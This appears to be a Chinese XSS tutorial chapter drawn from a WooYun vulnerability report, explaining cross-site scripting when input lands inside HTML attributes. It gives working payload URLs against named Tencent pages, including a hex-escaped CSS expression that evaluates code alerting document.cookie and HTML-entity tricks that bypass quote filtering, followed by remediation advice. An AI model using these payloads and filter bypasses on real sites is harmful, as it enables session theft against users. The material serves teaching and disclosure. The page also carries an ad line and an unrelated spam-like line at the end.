<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ??一站式輕松地調用各大LLM模型接口,支持GPT4、智譜、豆包、星火、月之暗面及文生圖、文生視頻 廣告
                # 3\. 輸出在 HTML 屬性里的情況 > 來源:[3\. 輸出在 HTML 屬性里的情況](http://www.wooyun.org/bugs/wooyun-2010-015963) ## 簡要描述 和前面的不一樣的時,有時候,輸出會出現在 HTML 標簽的屬性之中。 例如: `<input value="輸出">` 、 `<img onload="...[輸出]...">` ,再比如 `<body style="...[輸出]...">` .. 這個時候怎么辦呢? ## 詳細說明 1\. 大網站一般不是吃素的。前面講到的基本情況,一般都很少遇到了。 2\. 這個時候我們可以把目光發展一下,找一找在【輸出】出現在 HTML 屬性里的情況。 3\. 最為典型的一種情況,是下面這樣的。 ``` http://xxxx.com/search.php?word=烏云歡迎您 ``` HTML 代碼里則是下面這樣情況的。 ``` .. 關鍵詞:<input type="text" value="烏云歡迎您" /> ``` 如果這里的 word 沒過濾雙引號。就會有以下的情況發生。 ``` http://xxxx.com/search.php?word=烏云歡迎您" onclick="alert(1) ``` 對應的源代碼如下: ``` <input type="text" value="烏云歡迎您" onclick="alert(1)" /> ``` 解析: ![image](https://box.kancloud.cn/2016-03-23_56f2503cc2739.jpg) 那么當用戶點擊這個文本框時,就會觸發 `alert(1)` 。 4\. 當然理想是美好的,現實總是殘酷的,我水平有限,并沒有在騰訊找到這樣的例子。 因為絕大部分這樣的情況, 騰訊都會做出相應的過濾。 過濾方法也挺簡單,將 `"` 過濾為 `&quot;` 就行。 過濾后的代碼如下: ``` <input type="text" value="烏云歡迎您&quot; onclick=&quot;alert(1)" /> ``` 5\. 一般來說,上面的情況,過濾了 `"` ,可以說是高枕無憂了,但是事實并非如此。某些情況下。我們依然可以繼續 XSS。下面以騰訊 為例。 6\. 首先看第一種場景。 ``` http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=我是一個兵,愛國愛人民&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhiche n001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx ``` 這里的 bg 參數過濾了【幾乎】所有的東西。但是它輸出在了 `<body style="[這里]">` ![image](https://box.kancloud.cn/2016-03-23_56f2503cd4354.jpg) 更重要的是,這里沒有過濾 `\` ,反斜線, 而 css 里,允許使用轉義字符, `\ + ascii` 16 進制形式。這樣一來,我們就可以構造利用語句啦。 這里過濾了 expression, 我們也可以輕松的用 `expr\65ssion` 繞過。 ``` http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=;w:expr\65ssion\28%20eval\28\27\69\66\28\21\7 7\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2 e\78\3d\31\7d\27\29\29&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qin gfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipeng tx ``` 效果如下: ![image](https://box.kancloud.cn/2016-03-23_56f2503cec1dc.jpg) 這種情況,遺憾之處在于,基于 css expression 的 XSS 已經進入暮年了,只有在 IE6,7 下方能觸發,受眾面小。這里只是作為一個案例來講講。 Tips: 至于這里的轉義是如何寫的:步驟如下: 例如 e 的 ascii 16 進制是 65, 我們就寫為 `\65 expression -> expr\65ssion`。 本例缺陷點代碼: ``` <body style="overflow:auto;background-color:#我是一個兵,愛國愛人民;"> ``` 7\. 再來看下一個在屬性里的案例。這個例子也是比較常見的。比如: ``` <HTML 標簽 onXXXX="...[輸出在這里].."> <a href="javascript:[輸出在這里]">xxxx </a> ``` 的例子。 正好,在騰訊的這個例子中,以上 2 個情況一起出現了。 我們以其中一種進行講解。 ``` http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa ``` 看輸出,如下,aaaaaaaa 出現在了 2 個點。 ![image](https://box.kancloud.cn/2016-03-23_56f2503d181f3.jpg) 常規來說,因為 `onxxxx="[輸出]"` 和 `href="javascript:[輸出]"` 與 `<script>[輸出]</script>` 沒有太大區別。因為[輸出]所在的地方,都是 javascript 腳本。 但是`<script>[輸出]</script>` 如果被過濾,往往沒有太好的辦法。 而上面這 2 種情況,則有一個很好的辦法繞過過濾。 Tips: 在 HTML 屬性中,會自動對實體字符進行轉義。一個簡單的比方。 ``` <img src="1" onerror="alert(1)"> ``` 和 ``` <img src="1" onerror="alert&#x28;1&#x29;"> ``` 是等效的 換言之,只要上面的情況,沒有過濾 `&`,`#` 等符號,我們就可以寫入任意字符。 看看缺陷點的代碼 ``` <li><input type="text" id="pagenum" class="inputstyle0814" onkeydown="if ((event.keyCode==13) && (this.value!='')) location.href='http://stock.finance.qq.com/report/search.php?offset='+this.value+'&searchtype_yjbg=yjjg&searchvalue_y jbg=aaaaaaaaaa'"/></li> ``` JS 部分我們可以做以下構造,由于'被過濾,我們可以將'寫為 `&#x27;` ``` location.href='........&searchvalue_yjbg=aaaaaa' location.href='........&searchvalue_yjbg=aaaaaa'+alert(1)+'' location.href='........&searchvalue_yjbg=aaaaaa&#x27;+alert(1)+&#x27;' ``` 步驟如下: ![image](https://box.kancloud.cn/2016-03-23_56f2503d335f8.jpg) 接著我們把代碼轉換為 url 的編碼。 `& -> %26`, `# -> %23` 最后利用代碼如下: ``` http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27; ``` 用戶點擊頁面[GO]按鈕觸發。 ![image](https://box.kancloud.cn/2016-03-23_56f2503d48212.jpg) 缺陷頁面的 `<a href="">` 觸發點的代碼如下: ``` <li><div class="yebg"><a href="javascript:location='http://stock.finance.qq.com/report/search.php?offset='+document.getElementById('pagenum'). value+'&searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa'">GO</a></div></li> ``` ## 修復方案 1\. 對于輸出在 HTML 屬性中的情況,需要特殊情況特殊對待,該過濾`\`的時候,請過濾`\`, 該過濾`&`的情況,則過濾掉`&` 2\. 碰到有某些修復的人用正則去判斷, `&#xNNN..`, 而實際上 `&#x0NN;` `&#x00NN`, (后面自己慢慢試。。) 都是可以的。 或者是 `&#10` 進制; 以及一些特殊的 HTML 實體,如 `&quot;` 等,都要注意到,好麻煩, 最好的辦法,還是 `&`過濾為 `&amp;` :)
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看